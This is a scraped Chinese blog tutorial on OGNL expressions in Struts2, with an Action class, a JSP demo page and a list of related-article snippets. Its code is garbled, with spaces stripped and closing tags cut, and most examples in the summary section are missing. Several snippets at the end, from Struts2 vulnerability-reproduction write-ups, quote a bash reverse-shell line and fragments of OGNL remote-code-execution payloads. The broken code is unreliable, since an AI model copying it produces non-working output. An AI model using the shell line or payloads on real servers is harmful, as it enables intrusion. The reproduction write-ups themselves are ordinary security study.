lcpstyle
lcpstyle

Struts2中的OGNL详解

阅读更多

首先了解下OGNL的概念：

OGNL是Object-Graph Navigation Language的缩写，全称为对象图导航语言，是一种功能强大的表达式语言，它通过简单一致的语法，可以任意存取对象的属性或者调用对象的方法，能够遍历整个对象的结构图，实现对象属性类型的转换等功能。

此外，还得先需弄懂OGNL的一些知识：

 

1.OGNL表达式的计算是围绕OGNL上下文进行的。
OGNL上下文实际上就是一个Map对象，由ognl.OgnlContext类表示。它里面可以存放很多个JavaBean对象。它有一个上下文根对象。
上下文中的根对象可以直接使用名来访问或直接使用它的属性名访问它的属性值。否则要加前缀“#key”。

 

 

 

2.Struts2的标签库都是使用OGNL表达式来访问ActionContext中的对象数据的。如：。

 

 

 

3.Struts2将ActionContext设置为OGNL上下文，并将值栈作为OGNL的根对象放置到ActionContext中。

 

 

 

4.值栈(ValueStack) ：
可以在值栈中放入、删除、查询对象。访问值栈中的对象不用“#”。
Struts2总是把当前Action实例放置在栈顶。所以在OGNL中引用Action中的属性也可以省略“#”。
 
5.调用ActionContext的put(key,value)放入的数据，需要使用#访问。

OGNL中重要的3个符号：#、%、$:

#、%和$符号在OGNL表达式中经常出现，而这三种符号也是开发者不容易掌握和理解的部分，需要时间的积累才渐渐弄清楚……
1．#符号

#符号的用途一般有三种。

— 访问非根对象属性，例如#session.msg表达式，由于Struts 2中值栈被视为根对象，所以访问其他非根对象时，需要加#前缀。实际上，#相当于ActionContext. getContext()；#session.msg表达式相当于ActionContext.getContext().getSession(). getAttribute("msg")。

— 用于过滤和投影（projecting）集合，如persons.{?#this.age>25}，persons.{?#this.name=='pla1'}.{age}[0]。

— 用来构造Map，例如示例中的#{'foo1':'bar1','foo2':'bar2'}。

2．%符号

%符号的用途是在标志的属性为字符串类型时，计算OGNL表达式的值，这个类似js中的eval，很暴力。

3．$符号

$符号主要有两个方面的用途。

— 在国际化资源文件中，引用OGNL表达式，例如国际化资源文件中的代码：reg.agerange=国际化资源信息：年龄必须在${min}同${max}之间。

— 在Struts 2框架的配置文件中引用OGNL表达式，例如：

 

  1. <validators>
  2. <fieldname="intb">
  3. <field-validatortype="int">
  4. <paramname="min">10param>
  5. <paramname="max">100param>
  6. <message>BAction-test校验：数字必须为${min}为${max}之间！message>
  7. field-validator>
  8. field>
  9. validators>

 

下面通过代码对OGNL有更深的了解：

action类OgnlAction.java：
  1. packagecom.tjcyjd.test.action;
  3. importjava.util.Date;
  4. importjava.util.LinkedList;
  5. importjava.util.List;
  7. importjavax.servlet.http.HttpServletRequest;
  9. importorg.apache.struts2.ServletActionContext;
  10. importorg.apache.struts2.convention.annotation.Action;
  11. importorg.apache.struts2.convention.annotation.Namespace;
  12. importorg.apache.struts2.convention.annotation.ParentPackage;
  13. importorg.apache.struts2.convention.annotation.Result;
  14. importorg.apache.struts2.convention.annotation.Results;
  15. importorg.springframework.stereotype.Controller;
  17. importcom.opensymphony.xwork2.ActionContext;
  18. importcom.opensymphony.xwork2.ActionSupport;
  20. @Controller
  21. @Namespace("/test")
  22. @ParentPackage("struts-default")
  23. @Results({@Result(name="success",location="/other_test/showognl.jsp"),
  24. @Result(name="fail",location="/bbs/admin_login.jsp"),
  25. @Result(name="input",location="/bbs/admin_login.jsp")})
  26. publicclassOgnlActionextendsActionSupport{
  27. privatestaticfinallongserialVersionUID=-1494290883433357310L;
  28. privateListpersons;
  30. @Action("ognlTest")
  31. publicStringognlTest()throwsException{
  32. //获得ActionContext实例，以便访问ServletAPI
  33. ActionContextctx=ActionContext.getContext();
  34. //存入application
  35. ctx.getApplication().put("msg","application信息");
  36. //保存session
  37. ctx.getSession().put("msg","seesion信息");
  38. //保存request信息
  39. HttpServletRequestrequest=ServletActionContext.getRequest();
  40. request.setAttribute("msg","request信息");
  41. //为persons赋值
  42. persons=newLinkedList();
  43. Personperson1=newPerson();
  44. person1.setName("pla1");
  45. person1.setAge(26);
  46. person1.setBirthday(newDate());
  47. persons.add(person1);
  49. Personperson2=newPerson();
  50. person2.setName("pla2");
  51. person2.setAge(36);
  52. person2.setBirthday(newDate());
  53. persons.add(person2);
  55. Personperson3=newPerson();
  56. person3.setName("pla3");
  57. person3.setAge(16);
  58. person3.setBirthday(newDate());
  59. persons.add(person3);
  61. returnSUCCESS;
  63. }
  65. publicListgetPersons(){
  66. returnpersons;
  67. }
  69. publicvoidsetPersons(Listpersons){
  70. this.persons=persons;
  71. }
  72. }

jsp页面showognl.jsp：
  1. <%@pagelanguage="java"contentType="text/html;charset=utf-8"pageEncoding="utf-8"%>
  3. <%@taglibprefix="s"uri="/struts-tags"%>
  4. >
  6. <htmlxmlns="http://www.w3.org/1999/xhtml">
  8. <head>
  10. <title>Struts2OGNL演示title>
  12. head>
  14. <body>
  16. <h3>访问OGNL上下文和Action上下文h3>
  18. >
  20. <p>parameters:<s:propertyvalue="#parameters.msg"/>p>
  22. <p>request.msg:<s:propertyvalue="#request.msg"/>p>
  24. <p>session.msg:<s:propertyvalue="#session.msg"/>p>
  26. <p>application.msg:<s:propertyvalue="#application.msg"/>p>
  28. <p>attr.msg:<s:propertyvalue="#attr.msg"/>p>
  30. <hr/>
  32. <h3>用于过滤和投影(projecting)集合h3>
  34. <p>年龄大于20p>
  36. <ul>
  38. >
  40. <s:iteratorvalue="persons.{?#this.age>20}">
  42. <li><s:propertyvalue="name"/>-年龄：<s:propertyvalue="age"/>li>
  44. s:iterator>
  46. ul>
  48. <p>姓名为pla1的年龄:<s:propertyvalue="persons.{?#this.name=='pla1'}.{age}[0]"/>p>
  50. <hr/>
  52. <h3>构造Maph3>
  54. <s:setname="foobar"value="#{'foo1':'bar1','foo2':'bar2'}"/>
  56. <p>Thevalueofkey"foo1"is<s:propertyvalue="#foobar['foo1']"/>p>
  58. <hr/>
  60. <h4>%符号的用法h4>
  62. <s:setname="foobar"value="#{'foo1':'bar1','foo2':'bar2'}"/>
  64. <p>Thevalueofkey"foo1"is<s:propertyvalue="#foobar['foo1']"/>p>
  66. <p>不使用％：<s:urlvalue="#foobar['foo1']"/>p>
  68. <p>使用％：<s:urlvalue="%{#foobar['foo1']}"/>p>
  70. <hr/>
  71. <%
  72. request.setAttribute("req","requestscope");
  73. request.getSession().setAttribute("sess","sessionscope");
  74. request.getSession().getServletContext().setAttribute("app",
  75. "aplicationscope");
  76. %>
  77. 1.通过ognl表达式获取属性范围中的值
  78. <br>
  79. <s:propertyvalue="#request.req"/>
  80. <br/>
  81. <s:propertyvalue="#session.sess"/>
  82. <br/>
  83. <s:propertyvalue="#application.app"/>
  84. <br/>
  85. <hr>
  87. 2.通过<spanstyle="background-color:#fafafa;">ognl表达式创建list集合，并且遍历出集合中的值
  88. <br>
  89. <s:setname="list"value="{'eeeee','ddddd','ccccc','bbbbb','aaaaa'}">s:set>
  90. <s:iteratorvalue="#list"var="o">
  92. <s:property/>
  93. <br/>
  94. s:iterator>
  95. <br/>
  96. <hr>
  98. 3.通过ognl表达式创建Map集合，并且遍历出集合中的值
  99. <br>
  100. <s:setname="map"
  101. value="#{'1':'eeeee','2':'ddddd','3':'ccccc','4':'bbbbb','5':'aaaaa'}">s:set>
  102. <s:iteratorvalue="#map"var="o">
  105. <s:propertyvalue="key"/>-><s:propertyvalue="value"/>
  106. <br/>
  107. s:iterator>
  108. <br/>
  109. <hr>
  110. 4.通过ognl表达式进行逻辑判断
  111. <br>
  112. <s:iftest="'aa'in{'aaa','bbb'}">
  113. aa在集合{'aaa','bbb'}中；
  114. s:if>
  115. <s:else>
  116. aa不在集合{'aaa','bbb'}中；
  117. s:else>
  118. <br/>
  119. <s:iftest="#request.reqnotin#list">
  120. 不在集合list中；
  121. s:if>
  122. <s:else>
  123. 在集合list中；
  124. s:else>
  125. <br/>
  126. <hr>
  128. 5.通过ognl表达式的投影功能进行数据筛选
  129. <br>
  130. <s:setname="list1"value="{1,2,3,4,5}">s:set>
  131. <s:iteratorvalue="#list1.{?#this>2}"var="o">
  133. ${o}<br/>
  134. s:iterator>
  135. <br/>
  136. <hr>
  137. 6.通过ognl表达式访问某个类的静态方法和值
  138. <br>
  139. <s:propertyvalue="@java.lang.Math@floor(32.56)"/>
  141. <s:propertyvalue="@com.rao.struts2.action.OGNL1Action@aa"/>
  142. <br/>
  143. <br/>
  144. <hr>
  145. 7.ognl表达式迭代标签详细
  146. <br>
  147. <s:setname="list2"
  148. value="{'aa','bb','cc','dd','ee','ff','gg','hh','ii','jj'}">s:set>
  149. <tableborder="1">
  150. <tr>
  151. <td>索引td>
  152. <td>值td>
  153. <td>奇？td>
  154. <td>偶？td>
  155. <td>首？td>
  156. <td>尾？td>
  157. <td>当前迭代数量td>
  158. tr>
  159. <s:iteratorvalue="#list2"var="o"status="s">
  160. <trbgcolor="#s.even">pinks:if>">
  161. <td>
  162. <s:propertyvalue="#s.getIndex()"/>
  163. td>
  164. <td>
  165. <s:property/>
  166. td>
  167. <td>
  168. <s:iftest="#s.odd">Ys:if>
  169. <s:else>Ns:else>
  170. td>
  171. <td>
  172. <s:iftest="#s.even">Ys:if>
  173. <s:else>Ns:else>
  174. td>
  175. <td>
  176. <s:iftest="#s.first">Ys:if>
  177. <s:else>Ns:else>
  178. td>
  179. <td>
  180. <s:iftest="#s.isLast()">Ys:if>
  181. <s:else>Ns:else>
  182. td>
  183. <td>
  184. <s:propertyvalue="#s.getCount()"/>
  185. td>
  186. tr>
  187. s:iterator>
  188. table>
  189. <br>
  190. <hr>
  193. 8.ognl表达式:if/elseif/else详细<br>
  194. <%request.setAttribute("aa",0);%>
  195. <s:iftest="#request.aa>=0&&#request.aa<=4">
  196. 在0-4之间；
  197. s:if>
  198. <s:elseiftest="#request.aa>=4&&#request.aa<=8">
  199. 在4-8之间；
  200. s:elseif>
  201. <s:else>
  202. 大于8；
  203. s:else>
  204. <br>
  205. <hr>
  206. 9.ognl表达式:url详细<br>
  207. <%request.setAttribute("aa","sss");%>
  208. <s:urlaction="testAction"namespace="/aa/bb">
  209. <s:paramname="aa"value="#request.aa">s:param>
  210. <s:paramname="id">100s:param>
  211. s:url>
  212. <br/>
  213. <s:setname="myurl"value="'http://www.baidu.com'">s:set>
  214. value以字符处理：<s:urlvalue="#myurl">s:url><br>
  215. value明确指定以ognl表达式处理:<s:urlvalue="%{#myurl}">s:url>
  216. <br>
  217. <hr>
  218. 10.ognl表达式:checkboxlist详细<br>
  219. 1>.list生成；~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>
  220. name:checkboxlist的名字<br>
  221. list:checkboxlist要显示的列表<br>
  222. value:checkboxlist默认被选中的选项,checkedchecked=checked<br>
  223. <s:checkboxlistname="checkbox1"list="{'上网','看书','爬山','游泳','唱歌'}"value="{'上网','看书'}">s:checkboxlist>
  224. <br>
  225. 以上生成代码：<br>
  226. <xmp>
  227. <inputtype="checkbox"name="checkbox1"value="上网"id="checkbox1-1"checked="checked"/>
  228. <labelfor="checkbox1-1"class="checkboxLabel">上网label>
  229. <inputtype="checkbox"name="checkbox1"value="看书"id="checkbox1-2"checked="checked"/>
  230. <labelfor="checkbox1-2"class="checkboxLabel">看书label>
  231. <inputtype="checkbox"name="checkbox1"value="爬山"id="checkbox1-3"/>
  232. <labelfor="checkbox1-3"class="checkboxLabel">爬山label>
  233. <inputtype="checkbox"name="checkbox1"value="游泳"id="checkbox1-4"/>
  234. <labelfor="checkbox1-4"class="checkboxLabel">游泳label>
  235. <inputtype="checkbox"name="checkbox1"value="唱歌"id="checkbox1-5"/>
  236. <labelfor="checkbox1-5"class="checkboxLabel">唱歌label>"
  237. xmp>
  238. 2>.Map生成；~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>
  239. name:checkboxlist的名字<br>
  240. list:checkboxlist要显示的列表<br>
  241. listKey:checkbox的value的值<br>
  242. listValue:checkbox的lablel(显示的值)<br>
  243. value:checkboxlist默认被选中的选项,checkedchecked=checked<br>
  244. <s:checkboxlistname="checkbox2"list="#{1:'上网',2:'看书',3:'爬山',4:'游泳',5:'唱歌'}"listKey="key"listValue="value"value="{1,2,5}">s:checkboxlist>
  245. <br>
  246. 以上生成代码：<br>
  247. <xmp>
  248. <inputtype="checkbox"name="checkbox2"value="1"id="checkbox2-1"checked="checked"/>
  249. <labelfor="checkbox2-1"class="checkboxLabel">上网label>
  250. <inputtype="checkbox"name="checkbox2"value="2"id="checkbox2-2"checked="checked"/>
  251. <labelfor="checkbox2-2"class="checkboxLabel">看书label>
  252. <inputtype="checkbox"name="checkbox2"value="3"id="checkbox2-3"/>
  253. <labelfor="checkbox2-3"class="checkboxLabel">爬山label>
  254. <inputtype="checkbox"name="checkbox2"value="4"id="checkbox2-4"/>
  255. <labelfor="checkbox2-4"class="checkboxLabel">游泳label>
  256. <inputtype="checkbox"name="checkbox2"value="5"id="checkbox2-5"checked="checked"/>
  257. <labelfor="checkbox2-5"class="checkboxLabel">唱歌label>
  258. xmp>
  259. <hr>
  260. body>
  261. html>

总结OGNL的使用方法：

访问属性

名字属性获取:

地址属性获取:

访问方法

调用值栈中对象的普通方法：

访问静态属性和方法

调用Action中的静态方法：

调用JDK中的类的静态方法：

调用JDK中的类的静态方法(同上)：

调用JDK中的类的静态方法：

调用普通类中的静态属性：

访问构造方法

调用普通类的构造方法:

 

1.5.访问数组

获取List:

获取List中的某一个元素(可以使用类似于数组中的下标获取List中的内容):


获取Set:

获取Set中的某一个元素(Set由于没有顺序，所以不能使用下标获取数据):


×

获取Map:

获取Map中所有的键:

获取Map中所有的值:

获取Map中的某一个元素(可以使用类似于数组中的下标获取List中的内容):


获取List的大小:

 

访问集合–投影、选择(? ^ $)

利用选择获取List中成绩及格的对象:

利用选择获取List中成绩及格的对象的username:


利用选择获取List中成绩及格的第一个对象的username:


利用选择获取List中成绩及格的第一个对象的username:


利用选择获取List中成绩及格的最后一个对象的username:


利用选择获取List中成绩及格的第一个对象然后求大小:

集合的伪属性

OGNL能够引用集合的一些特殊的属性,这些属性并不是JavaBeans模式,例如size(),length()等等.当表达式引用这些属性时,OGNL会调用相应的方法,这就是伪属性.

集合

伪属性

Collection(inherited by Map, List & Set)

size ,isEmpty

List

iterator

Map

keys , values

Set

iterator

Iterator

next , hasNext

Enumeration

next , hasNext , nextElement , hasMoreElements

 

Lambda:[…]

格式：:[…]

使用Lambda表达式计算阶乘:

OGNL中#的使用

#可以取出堆栈上下文中的存放的对象.

名称

作用

例子

parameters

包含当前HTTP请求参数的Map

#parameters.id[0]作用相当于

request.getParameter("id")

request

包含当前HttpServletRequest的属性（attribute)的Map

#request.userName相当于

request.getAttribute("userName")

session

包含当前HttpSession的属性（attribute）的Map

#session.userName相当于

session.getAttribute("userName")

application

包含当前应用的ServletContext的属性（attribute）的Map

#application.userName相当于

application.getAttribute("userName")

attr

用于按request > session > application顺序访问其属性（attribute）

  

 

 

 

 

 

 

 

 

 

 

 

 

 

获取Paraments对象的属性：

OGNL中%的使用

用%{}可以取出存在值堆栈中的Action对象,直接调用它的方法.

例如你的Action如果继承了ActionSupport .那么在页面标签中，用%{getText('key')}的方式可以拿出国际化信息.

OGNL中$的使用

“$”有两个主要的用途

l用于在国际化资源文件中，引用OGNL表达式

l在Struts 2配置文件中，引用OGNL表达式

值栈

ValueStack对象。这个对象贯穿整个Action的生命周期（每个Action类的对象实例会拥有一个ValueStack对象）。当 Struts 2接收到一个.action的请求后，会先建立Action类的对象实例，但并不会调用Action方法，而是先将Action类的相应属性放到 ValueStack对象的顶层节点（ValueStack对象相当于一个栈）。

在Action中获得ValueStack对象：ActionContext.getContext().getValueStack()

lTop语法

使用Top获取值栈中的第二个对象:

lN语法

使用N获取值栈中的第二个对象:

l@语法

调用action中的静态方法： vs：值栈1：表示第一个。

你可能感兴趣的:(strtus2,ognl)

  • MyBatis 学习笔记(4) 动态SQL 张云飞Vir
    1.背景本节讲mybatis应对动态SQL的场景。2.知识动态SQL是指“条件"不固定的SQL，对比于一般的SQL，动态SQL会有一个或者多个条件/参数。比如：场景：查询的时候，如果用户输入了姓名，就按姓名模糊查询；同时又输入了邮箱，就再增加一个条件按姓名+邮箱两个条件查询。传统的拼接SQL很费力，拼接时要确保不能忘记添加必要的空格，还要注意去掉列表最后一个列名的逗号。借助功能强大的基于OGNL的
  • MyBatis＜if＞标签判断字符串相等写法 都旭宝 mybatis
    mybatis映射文件中，if标签判断字符串相等，两种方式：因为mybatis映射文件，是使用的ognl表达式，所以在判断字符串sex变量是否是字符串Y的时候，1.注意：不能使用and1=1因为mybatis会把’Y’解析为字符，java是强类型语言，所以不能这样写。
  • Mybatis的XML文件中＜if＞标签内的判断语句equals的坑 家乡的落日 工作学习问题记录mybatis
    Mybatis中执行SQL语句：假如代码中Stringname=“B”;在Mybatis的XML文件中有如下判断：--返回false--返回true--返回true可能是因为OGNL对单字符的识别当成了char类型，而我们代码中是String类型，所以判断成了false。所以在Mybatis的XML文件中判断字符串是否相等，建议使用test='name!=nullandname.equals("B
  • JAVA Web学习(20)___第14章Struts2基础 岁月静好浅笑安然
    第14章Struts2基础14.1Struts2概述14.1.1理解MVC原理14.1.2Struts2框架的产生14.1.3Struts2的结构体系14.2Struts2入门14.2.1Struts2的获取与放置开发struts项目必须添加的类库文件名称说明struts2-core-2.5.20.jarStruts2的核心类库xwork-core-2.1.6.jarXworkd的核心类库ognl
  • struts2_ognl入门 小漫画ing
    ognl的概述：1、之前在web阶段，学过el表达式，el表达式在jsp中获取域对象中的值。2、ognl也是一种表达式，而这个种表达式的功能更加强大。（1）在struts里面操作只栈数据。（2）一般把OGNL在Struts2操作，和Struts2标签一起使用操作值栈。3、OGNL不是Struts2的一部分，单独项目，经常和Struts2一起使用而已。（1）使用OGNL时候首先导入jar包，Stru
  • Struts2 S2-045漏洞复现 你能拿我咋的 渗透测试漏洞复现strutsjavaweb安全
    1.漏洞概述OGNL是ObjectGraphicNavigationLanguage(对象图导航语言)的缩写，它是一个开源项目。Struts框架使用OGNL作为默认的表达式语言。struts2的rce本质都是一样的(除了S2-052以外)，都是Struts2框架执行了恶意用户传进来的OGNL表达式，造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等，只不
  • Mybatis使用动态sql时，参数为0判断test,查询条件的值传入0时，查询条件判断失效的问题 小百菜 javamybatis
    1、判断Integer类型privateIntegerstatus;//状态，0，1，2。andstatus=#{status}当status的值为0的时候，where条件中的sql未正常拼接，即iftest中的条件不成立（false，应该为true才对），sql拼接失效原因：mybatis在预编译sql时，使用OGNL表达式来解析if标签，对于Integer类型属性，在判断不等于''时，会返回'
  • OGNL 虫儿飞ZLEI
    layout:posttitle:OGNLsubtitle:OGNLdate:2018-05-31author:ZLheader-img:img/20180531.jpgcatalog:truetags:-OGNLOGNL（对象视图导航语言）${user.addr.name}这种写法就叫对象视图导航.OGNL不仅仅可以视图导航.支持比EL表达式更加丰富的功能.使用导包在struts2的包中就已经包
  • 备战蓝桥杯---数学基础2 cocoack 蓝桥杯算法笔记c++经验分享
    学了常见的筛法，让我们看个题：首先，我们知道欧拉筛复杂度为nlognlogn,这题可以承受，但是空间上存不了，而如果我们枚举1--n^1/2，复杂度不允许。其实在枚举的方法中，我们只需找出有无在【2，n^1/2]的素数即可。这样，我们就可以用类似打表的形式记入素数。n^1/2差不多3万，有前面的定理可知质数数量差不多几十个，这样子就可以了。下面介绍算数基本定理：任何一个N=p1^c1*p2^c2*
  • 六、动态SQL Class鸣
    if(判断)choose(分支选择)whenotherwisetrimwheresetforeachiftest:判断表达式(OGNL)从参数中取值判断普通的SELECT*FROMusersWHEREuid=#{uid}>")-->anduname=#{uname}andbirthday=#{birthday}封装查询条件Xxx=Xxx-->SELECT*FROMusersWHERE1=
  • BUUCTF-Real-[struts2]s2-001 真的学不了一点。。。 漏洞复现与研究javastruts
    漏洞描述struts2漏洞S2-001是当用户提交表单数据且验证失败时，服务器使用OGNL表达式解析用户先前提交的参数值，%{value}并重新填充相应的表单数据。例如，在注册或登录页面中，如果提交失败，则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析，因此服务器可以直接发送有效载荷来执行命令。漏洞poc验证经过poc验证，我们发现[st
  • Struts2+Spring+Hibernate的工作流程及原理（整理的） 满脑子灵感 SSH框架工作流SSH原理
    Struts2框架一、简介Struts2是一个相当强大的JavaWeb开源框架，是一个基于POJO的Action的MVCWeb框架。它基于当年的WebWork和XWork框架，继承其优点，同时做了相当的改进。1、Struts2基于MVC架构，框架结构清晰，开发流程一目了然，开发人员可以很好的掌控开发的过程。2、使用OGNL进行参数传递。OGNL提供了在Struts2里访问各种作用域的数据的简单方式
  • 墨者学院-Apache Struts2远程代码执行漏洞(S2-007)复现 nohands_noob
    靶场地址：https://www.mozhe.cn/bug/detail/dHlnc25uQ2RXYVhvRnIzNzhYaEFwQT09bW96aGUmozhe漏洞原理：当提交表单中变量的类型出现错误时，进行了错误的字符串拼接，后端会执行OGNL表达式漏洞测试：在年龄中输入非数字类型点击登陆，年龄框的value变成11，证明漏洞存在任意命令执行exp：'+(#_memberAccess["all
  • ASP.NET Core 3.1系列（31）——日志组件NLog的基础使用方法 HerryDong ASP.NETCoreC#ASP.NETCore
    1、前言在生产环境中部署软件时，日志模块是必不可少的。在.NETFramework时代，Log4net是最常用的日志组件，而在.NETCore开发环境下，NLog的使用频率开始大幅提高。下面就来介绍一下NLog的基础使用方法。2、引入NLog新建一个WebAPI工程，使用NuGet引入如下组件：NLogNLog.Web.AspNetCore3、配置文件nlog.config新建一个XML文件，文件
  • Struts2远程代码执行漏洞复现 大象只为你 跟我学网安知识网络安全命令执行漏洞复现
    ★★免责声明★★文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与学习之用，读者将信息做其他用途，由Ta承担全部法律及连带责任，文章作者不承担任何法律及连带责任。1、漏洞介绍Struts2漏洞是一个经典的漏洞系列，根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善，现在想挖掘新的Struts2漏洞会比以前困难很多，因为大部分用户早就修复了历史的高危漏洞。
  • BUUCTF-Real-[struts2]s2-013 真的学不了一点。。。 漏洞复现与研究网络安全安全web安全
    struts2的标签中和都有一个includeParams属性，可以设置成如下值none-URL中不包含任何参数（默认）get-仅包含URL中的GET参数all-在URL中包含GET和POST参数当includeParams=all的时候，会将本次请求的GET和POST参数都放在URL的GET参数上。此时或尝试去解析原始请求参数时，会导致OGNL表达式的执行在s2-013中，因为参数的问题导致rc
  • MyBatis映射文件 碧海暮苍梧 MyBatisjavamybatis
    一、映射文件的SQL标签再映射文件中存在9大顶层的sql标签：SQL拼接与操作：select、delete、update、insert、sql(include)缓存：cache、cache-ref参数映射：parameterMap(该标签已被废除，关于参数的映射可以使用行内参数映射)解决映射：resultMap1、OGNL表达式与#{}、${}OGNL表达式的使用它是apache提供的一种表达式语
  • mybatis set遇到坑： BuilderException: Error evaluating expression ‘shr ! = ‘‘ ，shr是关键字！ zz--1111 MyBatismybatis
    updatetableNameshr=#{shr},.........Causedby:org.apache.ibatis.builder.BuilderException:Errorevaluatingexpression'shr!=''andshr！=null'.Cause:org.apache.ibatis.ognl.ExpressionSyntaxException:MalformedOG
  • mybatis if标签判断字符串相等 gaoshan12345678910 mybatismybatisjavatomcat
    mybatisif标签判断字符串相等mybatis映射文件中，if标签判断字符串相等，两种方式：因为mybatis映射文件，是使用的ognl表达式，所以在判断字符串sex变量是否是字符串Y的时候，1.2.注意：不能使用and1=1因为mybatis会把'Y'解析为字符，java是强类型语言，所以不能这样写。
  • mybatis if标签判断字符串相等 特_尼
    mybatis映射文件中，if标签判断字符串相等，两种方式：因为mybatis映射文件，是使用的ognl表达式，所以在判断字符串sex变量是否是字符串Y的时候，第一种方法第二种方法注意：不能使用and1=1因为mybatis会把'Y'解析为字符，java是强类型语言，所以不能这样写。参考文档：https://www.cnblogs.com/westward/p/6910856.html
  • mybatis的动态标签，在实际开发中公共的字段怎么写sql 人帝 mybatissql数据库
    MyBatis的动态SQL是一种强大的机制，可以根据不同的条件生成不同的SQL语句，其中的动态标签包括,,,,,,,等，使得在实际开发中可以更灵活地构建SQL语句。当需要在实际开发中处理公共字段时，可以使用动态标签结合MyBatis的参数和OGNL表达式来处理。下面是一些在实际开发中处理公共字段的示例：1.使用****标签处理公共字段：UPDATEuserusername=#{username},
  • JAVA----Thymeleaf 常用语法 damys JAVAjavaThymeleaf
    变量Thymeleaf的主要作用是把model中的数据渲染到html中model中的变量${...}语法和el表达式差不多，但它是ognl表达式自定义变量script//协议名称varscheme=[[${#request.getScheme()}]];//服务器名称varserverName=[[${#request.getServerName()}]];//服务器端口号varserverPor
  • [漏洞复现]Apache Struts2/S2-015 （CVE-2013-2134） free key 漏洞复现春秋云境靶场Strutsapachestrutsweb安全安全
    一、漏洞情况分析2.3.14.3之前的ApacheStruts2允许远程攻击者通过带有在通配符匹配期间未正确处理的精心制作的操作名称的请求执行任意OGNL代码，这是与CVE-2013-2135不同的漏洞。二、漏洞复现春秋云境.com进入靶场开始复现构造payload/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_
  • [漏洞复现]Apache Struts2/S2-013 （CVE-2013-1966） free key 漏洞复现春秋云境靶场Strutsapachestrutsjavaweb安全安全
    一、漏洞情况分析2.3.14.2之前的ApacheStruts2允许远程攻击者通过在(1)URL或(2)A标签中使用includeParams属性时未正确处理的特制请求执行任意OGNL代码。二、漏洞复现春秋云境.com进入靶场开始复现bash-i>&/dev/tcp/127.0.0.1/99990>&1base加密bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOT
  • [漏洞复现]Apache Struts2/S2-015 （CVE-2013-2135） free key Struts春秋云境靶场apachestrutsjavaweb安全安全
    一、漏洞情况分析2.3.14.3之前的ApacheStruts2允许远程攻击者通过一个包含“${}”和“%{}”序列的特制值的请求执行任意OGNL代码，这会导致OGNL代码被评估两次。二、漏洞复现春秋云境.com进入靶场开始复现构造好payload,弹nc${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_member
  • 平衡树详解 一棵油菜花 算法篇算法学习c++数据结构
    更好的阅读体验平衡树是一种二叉查找树，其平衡性使得树的深度在log⁡n\lognlogn以内，增加、删除等操作可以做到O(log⁡n)O(\logn)O(logn).平衡树的实现有多种，本文主要介绍AVLAVLAVL、TreapTreapTreap、FHQTreapFHQ\TreapFHQTreap与SplaySplaySplay.AVL介绍AVLAVLAVL是这些算法中时间复杂度最优秀的，也是码
  • Arthas中ognl表达式使用详解，以及通过ognl表达式获取Spring项目上下文中对象参数信息 kerwin_code javaspringjava后端springboot
    目录前言一、基础操作1.1、使用`ognl`表达式获取静态属性和调用静态方法1.1.1、测试代码1.1.2、获取静态属性`ognl`表达式1.1.3、调用静态方法`ognl`表达式1.2、使用`ognl`表达式操作对象的非静态属性和非静态方法1.2.1、测试代码1.2.2、获取非静态属性`ognl`表达式1.2.3、调用非静态方法`ognl`表达式二、进阶操作2.1、使用`ognl`表达式创建一个
  • Java全栈课程之Mybatis详解——动态SQL 小孙同学1024 Java全栈开发javamybatissql
    什么是动态SQL：根据不同的条件生成不同的SQL语句，利用动态SQL，可以彻底摆脱这种痛苦。如果你之前用过JSTL或任何基于类XML语言的文本处理器，你对动态SQL元素可能会感觉似曾相识。在MyBatis之前的版本中，需要花时间了解大量的元素。借助功能强大的基于OGNL的表达式，MyBatis3替换了之前的大部分元素，大大精简了元素种类，现在要学习的元素种类比原来的一半还要少。ifchoose(w
  • OGNL的基本语法与用法 天一i
    OGNL表达式的基本语法和基本用法一．OGNL中的#、%和$符号#、%和$符号在OGNL表达式中经常出现，而这三种符号也是开发者不容易掌握和理解的部分。在这里我们简单介绍它们的相应用途。1．#符号的三种用法1）访问非根对象属性，例如示例中的#session.msg表达式，由于Struts2中值栈被视为根对象，所以访问其他非根对象时，需要加#前缀。实际上，#相当于ActionContext.getC
  • Template Engine-06-模板引擎 Handlebars 入门介绍 老马啸西风 tools测试用例开发语言java
    拓展阅读java表达式引擎logstash日志加工处理-08-表达式执行引擎AviatorScript+MVEL+OGNL+SpEL+JEXL+JUEL+JaninoQLExpress阿里表达式引擎系统学习什么是Handlebars？Handlebars是一种简单的模板语言。它使用模板和输入对象生成HTML或其他文本格式。Handlebars模板看起来像带有嵌入的Handlebars表达式的常规文
  • ASM系列四 利用Method 组件动态注入方法逻辑 lijingyao8206 字节码技术jvmAOP动态代理ASM
            这篇继续结合例子来深入了解下Method组件动态变更方法字节码的实现。通过前面一篇，知道ClassVisitor 的visitMethod()方法可以返回一个MethodVisitor的实例。那么我们也基本可以知道，同ClassVisitor改变类成员一样，MethodVIsistor如果需要改变方法成员，注入逻辑，也可以
  • java编程思想 --内部类 百合不是茶 java内部类匿名内部类
    内部类;了解外部类 并能与之通信 内部类写出来的代码更加整洁与优雅   1,内部类的创建  内部类是创建在类中的 package com.wj.InsideClass; /* * 内部类的创建 */ public class CreateInsideClass { public CreateInsideClass(
  • web.xml报错 crabdave web.xml
    web.xml报错   The content of element type "web-app" must match "(icon?,display-  name?,description?,distributable?,context-param*,filter*,filter-mapping*,listener*,servlet*,s
  • 泛型类的自定义 麦田的设计者 javaandroid泛型
       为什么要定义泛型类，当类中要操作的引用数据类型不确定的时候。 采用泛型类，完成扩展。   例如有一个学生类     Student{ Student(){ System.out.println("I'm a student....."); } }  有一个老师类  
  • CSS清除浮动的4中方法 IT独行者 JavaScriptUIcss
